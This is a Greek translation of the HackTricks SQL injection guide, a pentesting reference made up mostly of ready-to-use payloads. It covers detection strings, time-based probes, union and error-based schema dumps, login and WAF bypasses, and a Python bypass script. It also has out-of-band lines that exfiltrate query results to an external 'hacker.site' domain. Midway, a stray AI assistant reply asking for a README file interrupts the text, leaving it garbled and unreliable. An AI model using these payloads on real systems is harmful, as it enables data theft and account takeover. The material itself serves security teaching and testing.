SQL Injection
Reading time: 23 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τι είναι το SQL injection;
Ένα SQL injection είναι ένα κενό ασφάλειας που επιτρέπει σε επιτιθέμενους να παρεμβαίνουν στα ερωτήματα της βάσης δεδομένων μιας εφαρμογής. Αυτή η ευπάθεια μπορεί να επιτρέψει σε επιτιθέμενους να δούν, τροποποιήσουν ή διαγράψουν δεδομένα στα οποία δεν θα έπρεπε να έχουν πρόσβαση, συμπεριλαμβανομένων πληροφοριών άλλων χρηστών ή οποιωνδήποτε δεδομένων στα οποία έχει πρόσβαση η εφαρμογή. Τέτοιες ενέργειες μπορεί να οδηγήσουν σε μόνιμες αλλαγές στη λειτουργικότητα ή στο περιεχόμενο της εφαρμογής ή ακόμα και σε παραβίαση του διακομιστή ή denial of service.
Ανίχνευση σημείου εισόδου
Όταν ένας ιστότοπος φαίνεται να είναι ευάλωτος σε SQL injection (SQLi) λόγω ασυνήθιστων αποκρίσεων του διακομιστή σε εισροές σχετικές με SQLi, το πρώτο βήμα είναι να κατανοήσουμε πώς να ενέχουμε δεδομένα στο ερώτημα χωρίς να το διαταράξουμε. Αυτό απαιτεί την αναγνώριση της μεθόδου για να ξεφύγουμε από το τρέχον πλαίσιο αποτελεσματικά. Ακολουθούν μερικά χρήσιμα παραδείγματα:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Έπειτα, πρέπει να ξέρεις πώς να διορθώσεις το query ώστε να μην υπάρχουν errors. Για να διορθώσεις το query, μπορείς να input δεδομένα έτσι ώστε το previous query accept the new data, ή μπορείς απλώς να input τα δεδομένα σου και να add a comment symbol add the end.
Σημείωση: αν μπορείς να δεις error messages ή μπορείς να εντοπίσεις διαφορές όταν ένα query λειτουργεί και όταν δεν λειτουργεί, αυτή η φάση θα είναι πιο εύκολη.
Σχόλια
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Επιβεβαίωση με λογικές πράξεις
Μια αξιόπιστη μέθοδος για να επιβεβαιώσετε μια ευπάθεια SQL injection περιλαμβάνει την εκτέλεση μίας λογικής πράξης και την παρατήρηση των αναμενόμενων αποτελεσμάτων. Για παράδειγμα, ένα GET parameter όπως ?username=Peter
που επιστρέφει τα ίδια αποτελέσματα όταν τροποποιηθεί σε ?username=Peter' or '1'='1
υποδηλώνει ευπάθεια SQL injection.
Παρομοίως, η εφαρμογή μαθηματικών πράξεων λειτουργεί ως αποτελεσματική τεχνική επιβεβαίωσης. Για παράδειγμα, αν η πρόσβαση σε ?id=1
και ?id=2-1
παράγει το ίδιο αποτέλεσμα, αυτό υποδηλώνει SQL injection.
Παραδείγματα που δείχνουν επιβεβαίωση με λογικές πράξεις:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Αυτή η λίστα λέξεων δημιουργήθηκε για να προσπαθήσει να επιβεβαιώσει SQLinjections με τον προτεινόμενο τρόπο:
True SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```Επιβεβαίωση με Χρονισμό
Σε μερικές περιπτώσεις δεν θα παρατηρήσετε καμία αλλαγή στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να discover blind SQL injections είναι να κάνετε το DB να εκτελεί ενέργειες που θα έχουν επίδραση στον χρόνο φόρτωσης της σελίδας.
Επομένως, πρόκειται να concat στην SQL query μια ενέργεια που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
Σε ορισμένες περιπτώσεις οι sleep functions δεν θα επιτρέπονται. Τότε, αντί να χρησιμοποιήσεις αυτές τις συναρτήσεις μπορείς να κάνεις το query να εκτελεί σύνθετες λειτουργίες που θα πάρουν μερικά δευτερόλεπτα. Παραδείγματα αυτών των τεχνικών θα σχολιαστούν χωριστά σε κάθε τεχνολογία (αν υπάρχουν).
Αναγνώριση Back-end
Ο καλύτερος τρόπος για να αναγνωρίσεις το back-end είναι να δοκιμάσεις να εκτελέσεις συναρτήσεις από τα διαφορετικά back-ends. Μπορείς να χρησιμοποιήσεις τις sleep functions της προηγούμενης ενότητας ή αυτές εδώ (πίνακας από payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Επίσης, εάν έχετε πρόσβαση στο αποτέλεσμα του query, θα μπορούσατε να το κάνετε να εκτυπώσει την έκδοση της βάσης δεδομένων.
tip
Στη συνέχεια, θα συζητήσουμε διαφορετικές μεθόδους για να εκμεταλλευτούμε διαφορετικούς τύπους SQL Injection. Θα χρησιμοποιήσουμε το MySQL ως παράδειγμα.
Εντοπισμός με PortSwigger
SQL injection cheat sheet | Web Security Academy
Εκμετάλλευση Union Based
Ανίχνευση αριθμού στηλών
If you can see the output of the query this is the best way to exploit it.
Πρώτα απ' όλα, χρειάζεται να βρούμε τον αριθμό των στηλών που επιστρέφει το αρχικό αίτημα. Αυτό συμβαίνει επειδή και τα δύο queries πρέπει να επιστρέφουν τον ίδιο αριθμό στηλών.
Συνήθως χρησιμοποιούνται δύο μέθοδοι για αυτόν τον σκοπό:
Order/Group by
Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, τροποποιείτε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες ORDER BY ή GROUP BY μέχρι να ληφθεί μια λάθος απάντηση. Παρά τις διαφορετικές λειτουργίες των GROUP BY και ORDER BY στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο για να εξακριβωθεί ο αριθμός στηλών του ερωτήματος.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Select όλο και περισσότερα null values μέχρι το query να είναι σωστό:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Θα πρέπει να χρησιμοποιείτε null
τιμές καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και από τις δύο πλευρές του query πρέπει να είναι ο ίδιος και το null
είναι έγκυρο σε κάθε περίπτωση.
Εξαγωγή ονομάτων βάσεων δεδομένων, ονομάτων πινάκων και ονομάτων στηλών
Στα επόμενα παραδείγματα θα ανακτήσουμε τα ονόματα όλων των βάσεων δεδομένων, το όνομα των πινάκων μιας βάσης δεδομένων και τα ονόματα των στηλών ενός πίνακα:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Υπάρχει ένας διαφορετικός τρόπος να ανακαλύψετε αυτά τα δεδομένα σε κάθε διαφορετική database, αλλά είναι πάντα η ίδια μεθοδολογία.
Exploiting Hidden Union Based
When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a hidden union-based injection. This scenario often leads to a blind injection situation. Για να μετατρέψετε μια blind injection σε union-based, πρέπει να εντοπίσετε την execution query στο backend.
Αυτό μπορεί να επιτευχθεί με χρήση blind injection techniques σε συνδυασμό με τις default tables του target Database Management System (DBMS). Για να κατανοήσετε αυτές τις default tables, συνιστάται να συμβουλευτείτε την τεκμηρίωση του target DBMS.
Μόλις η query εξαχθεί, είναι απαραίτητο να προσαρμόσετε το payload σας ώστε να κλείσει με ασφάλεια την αρχική query. Κατόπιν, μια union query προστίθεται στο payload σας, επιτρέποντας την εκμετάλλευση της πρόσφατα προσβάσιμης union-based injection.
For more comprehensive insights, refer to the complete article available at Healing Blind Injections.
Exploiting Error based
Αν για κάποιο λόγο δεν μπορείτε να δείτε το output της query αλλά μπορείτε να see the error messages, μπορείτε να κάνετε αυτά τα error messages να ex-filtrate δεδομένα από τη database.
Ακολουθώντας μια παρόμοια ροή όπως στην Union Based exploitation, θα μπορούσατε να καταφέρετε να dump το DB.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Exploiting Blind SQLi
Σε αυτή την περίπτωση δεν μπορείτε να δείτε τα αποτελέσματα του query ή τα σφάλματα, αλλά μπορείτε να distinguished πότε το query return μια true ή μια false απάντηση επειδή υπάρχει διαφορετικό περιεχόμενο στη σελίδα.
Σε αυτή την περίπτωση μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να dump τη βάση δεδομένων χαρακτήρα-χαρακτήρα:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
Αυτή είναι η ίδια περίπτωση όπως πριν, αλλά αντί να διακρίνετε μεταξύ μιας απάντησης true/false από το query, μπορείτε να διακρίνετε εάν υπάρχει error στο SQL query ή όχι (ίσως επειδή ο HTTP server καταρρέει). Επομένως, σε αυτή την περίπτωση μπορείτε να προκαλέσετε ένα SQLerror κάθε φορά που μαντεύετε σωστά το char:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Εκμετάλλευση Time Based SQLi
Σε αυτή την περίπτωση δεν υπάρχει κανένας τρόπος να διακρίνεις την απόκριση του ερωτήματος βάσει του πλαισίου της σελίδας. Ωστόσο, μπορείς να κάνεις τη σελίδα να αργεί περισσότερο να φορτώσει αν ο μαντεμένος χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτή την τεχνική σε χρήση προηγουμένως προκειμένου να confirm a SQLi vuln.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
Μπορείτε να χρησιμοποιήσετε stacked queries για να εκτελέσετε πολλαπλά ερωτήματα διαδοχικά. Σημειώστε πως ενώ τα επακόλουθα ερωτήματα εκτελούνται, τα αποτελέσματα δεν επιστρέφονται στην εφαρμογή. Επομένως αυτή η τεχνική είναι κυρίως χρήσιμη για blind vulnerabilities, όπου μπορείτε να χρησιμοποιήσετε ένα δεύτερο ερώτημα για να πυροδοτήσετε ένα DNS lookup, conditional error ή time delay.
Oracle δεν υποστηρίζει stacked queries. Οι MySQL, Microsoft και PostgreSQL τα υποστηρίζουν: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
Αν no-other μέθοδος εκμετάλλευσης δεν λειτούργησε, μπορείτε να δοκιμάσετε να κάνετε τη database ex-filtrate τις πληροφορίες σε έναν external host που ελέγχετε. Για παράδειγμα, μέσω DNS queries:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Εξαγωγή δεδομένων εκτός ζώνης μέσω XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Αυτοματοποιημένη Εκμετάλλευση
Check the SQLMap Cheatsheet to exploit a SQLi vulnerability with sqlmap.
Πληροφορίες ανά τεχνολογία
Έχουμε ήδη συζητήσει όλους τους τρόπους εκμετάλλευσης μιας ευπάθειας SQL Injection. Βρείτε περισσότερα κόλπα ανάλογα με την τεχνολογία της βάσης δεδομένων σε αυτό το βιβλίο:
Or you will find a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Authentication bypass
Λίστα για να δοκιμάσετε την παράκαμψη της λειτουργίας login:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Αυτό το query αποκαλύπτει ευπάθεια όταν το MD5 χρησιμοποιείται με true για raw output στους authentication checks, κάνοντας το σύστημα επιρρεπές σε SQL injection. Attackers μπορούν να το εκμεταλλευτούν δημιουργώντας inputs που, όταν hashed, παράγουν απρόβλεπτα SQL command parts, οδηγώντας σε unauthorized access.
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Συνιστώμενη λίστα:
Πρέπει να χρησιμοποιήσετε ως username κάθε γραμμή της λίστας και ως password πάντα: Pass1234.
(Αυτά τα payloads περιλαμβάνονται επίσης στη μεγάλη λίστα που αναφέρθηκε στην αρχή αυτής της ενότητας)
GBK Authentication Bypass
ΑΝ το ' γίνεται escaped μπορείτε να χρησιμοποιήσετε %A8%27. Όταν το ' γίνει escaped θα δημιουργηθεί: 0xA80x5c0x27 (╘')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python script:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Εντολή INSERT
Τροποποίηση password υπάρχοντος αντικειμένου/χρήστη
Για να το κάνετε αυτό θα πρέπει να προσπαθήσετε να create a new object named as the "master object" (πιθανότατα admin στην περίπτωση των χρηστών) τροποποιώντας κάτι:
- Δημιουργήστε χρήστη με όνομα: AdMIn (κεφαλαία & μικρά γράμματα)
- Δημιουργήστε χρήστη με όνομα: admin=
- SQL Truncation Attack (όταν υπάρχει κάποιο είδος length limit στο username ή στο email) --> Δημιουργήστε χρήστη με όνομα: admin [a lot of spaces] a
SQL Truncation Attack
Αν η βάση δεδομένων είναι ευάλωτη και ο μέγιστος αριθμός χαρακτήρων για το username είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε ότι είστε ο χρήστης admin, δοκιμάστε να δημιουργήσετε ένα username που ονομάζεται: "admin [30 spaces] a" και οποιοδήποτε password.
Η βάση δεδομένων θα check αν το εισαχθέν username exists μέσα στη βάση. Εάν όχι, θα cut το username στο max allowed number of characters (σε αυτή την περίπτωση σε: "admin [25 spaces]") και στη συνέχεια θα automatically remove all the spaces at the end updating μέσα στη βάση τον χρήστη "admin" με το νέο password (μπορεί να εμφανιστεί κάποιο σφάλμα αλλά αυτό δεν σημαίνει ότι δεν δούλεψε).
Περισσότερες πληροφορίες: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert έλεγχος βάσει χρόνου
Προσθέστε όσα ','',''
θεωρείτε απαραίτητα για να εξέλθετε από τη δήλωση VALUES. Εάν η καθυστέρηση εκτελεστεί, έχετε SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
Η ρήτρα ON DUPLICATE KEY UPDATE
στο MySQL χρησιμοποιείται για να καθορίσει ενέργειες που θα εκτελέσει η βάση δεδομένων όταν επιχειρείται η εισαγωγή μιας γραμμής που θα είχε ως αποτέλεσμα διπλότυπη τιμή σε έναν UNIQUE index ή PRIMARY KEY. Το ακόλουθο παράδειγμα δείχνει πώς αυτή η δυνατότητα μπορεί να εκμεταλλευτεί για να τροποποιήσει τον κωδικό πρόσβασης ενός λογαριασμού διαχειριστή:
Παράδειγμα Payload Injection:
Ένα injection payload μπορεί να κατασκευαστεί ως εξής, όπου επιχειρείται η εισαγωγή δύο γραμμών στον πίνακα users
. Η πρώτη γραμμή είναι παραπλανητική, και η δεύτερη στοχεύει την υπάρχουσα διεύθυνση email του διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Πώς λειτουργεί:
- Το query προσπαθεί να εισάγει δύο εγγραφές: μία για
generic_user@example.com
και άλλη γιαadmin_generic@example.com
. - Αν η εγγραφή για
admin_generic@example.com
υπάρχει ήδη, η ρήτραON DUPLICATE KEY UPDATE
ενεργοποιείται, υποδεικνύοντας στο MySQL να ενημερώσει το πεδίοpassword
της υπάρχουσας εγγραφής σε "bcrypt_hash_of_newpassword". - Συνεπώς, authentication μπορεί στη συνέχεια να επιχειρηθεί χρησιμοποιώντας
admin_generic@example.com
με τον κωδικό που αντιστοιχεί στο bcrypt hash ("bcrypt_hash_of_newpassword" αντιπροσωπεύει το bcrypt hash του νέου κωδικού, το οποίο πρέπει να αντικατασταθεί με το πραγματικό hash του επιθυμητού κωδικού).
Εξαγωγή πληροφοριών
Δημιουργία 2 λογαριασμών ταυτόχρονα
Κατά την προσπάθεια δημιουργίας νέου user απαιτούνται username, password και email:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Χρήση δεκαδικού ή δεκαεξαδικού
Με αυτήν την τεχνική μπορείτε να εξάγετε πληροφορίες δημιουργώντας μόνο 1 account. Είναι σημαντικό να σημειωθεί ότι δεν χρειάζεται να κάνετε comment τίποτα.
Χρησιμοποιώντας hex2dec και substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
I don't have access to your filesystem. Please paste the contents of src/pentesting-web/sql-injection/README.md here (or run one of these commands and paste the output):
- cat src/pentesting-web/sql-injection/README.md
- sed -n '1,200p' src/pentesting-web/sql-injection/README.md
- bat --paging=never src/pentesting-web/sql-injection/README.md
- type src\pentesting-web\sql-injection\README.md (Windows PowerShell/CMD)
Once you paste the file content I will translate the relevant English text to Greek following your rules.
__import__('binascii').unhexlify(hex(215573607263)[2:])
Χρησιμοποιώντας hex και replace (και substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Το Routed SQL injection είναι μια κατάσταση όπου το injectable query δεν είναι αυτό που επιστρέφει άμεσα την έξοδο, αλλά η έξοδος του injectable query μεταβιβάζεται στο query που τελικά εμφανίζει την έξοδο. (From Paper)
Παράδειγμα:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - bypass χρησιμοποιώντας εναλλακτικούς whitespace χαρακτήρες
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - bypass χρησιμοποιώντας σχόλια
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - bypass χρησιμοποιώντας παρενθέσεις
?id=(1)and(1)=(1)--
No commas bypass
No Comma - bypass χρησιμοποιώντας OFFSET, FROM και JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Γενικά Bypasses
Blacklist με λέξεις-κλειδιά - bypass με κεφαλαία/πεζά
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist που χρησιμοποιεί keywords case insensitive - bypass με ισοδύναμο operator
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
Μπορείτε να βρείτε μια πιο αναλυτική εξήγηση αυτού του trick στο gosecure blog.
Βασικά, μπορείτε να χρησιμοποιήσετε την scientific notation με απρόσμενους τρόπους για να παρακάμψετε το WAF:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Παράκαμψη Περιορισμού Ονομάτων Στηλών
Πρώτα απ' όλα, σημείωσε ότι αν το original query and the table where you want to extract the flag from have the same amount of columns μπορείς απλώς να κάνεις: 0 UNION SELECT * FROM flag
Είναι δυνατό να access the third column of a table without using its name χρησιμοποιώντας ένα query σαν το ακόλουθο: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
, οπότε σε ένα sqlinjection αυτό θα έμοιαζε με:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Ή χρησιμοποιώντας ένα comma bypass:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Αυτό το κόλπο προέρχεται από https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Column/tablename injection in SELECT list via subqueries
Εάν η είσοδος χρήστη (user input) συγχωνεύεται στη λίστα SELECT ή στους table/column identifiers, τα prepared statements δεν θα βοηθήσουν επειδή τα bind parameters προστατεύουν μόνο τις values, όχι τους identifiers. Ένα κοινό ευάλωτο pattern είναι:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
Exploitation idea: inject ένα subquery στη θέση του πεδίου για να exfiltrate αυθαίρετα δεδομένα:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
Σημειώσεις:
- Αυτό λειτουργεί ακόμη και όταν το WHERE clause χρησιμοποιεί bound parameter, επειδή η λίστα identifiers εξακολουθεί να συνενώνεται ως συμβολοσειρά.
- Κάποια stacks επιπλέον σας επιτρέπουν να ελέγχετε το table name (tablename injection), επιτρέποντας cross-table reads.
- Οι output sinks μπορεί να αντικατοπτρίσουν την επιλεγμένη τιμή σε HTML/JSON, επιτρέποντας XSS ή token exfiltration απευθείας από την απάντηση.
Μέτρα μετριασμού:
- Ποτέ μην συνενώνετε identifiers από user input. Αντιστοιχίστε τα επιτρεπόμενα column names σε μια σταθερή allow-list και κάντε σωστό quoting των identifiers.
- Εάν απαιτείται dynamic table access, περιορίστε το σε ένα πεπερασμένο σύνολο και επιλύστε server-side από ένα ασφαλές mapping.
WAF bypass suggester tools
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester
Άλλοι Οδηγοί
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Λίστα ανίχνευσης Brute-Force
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.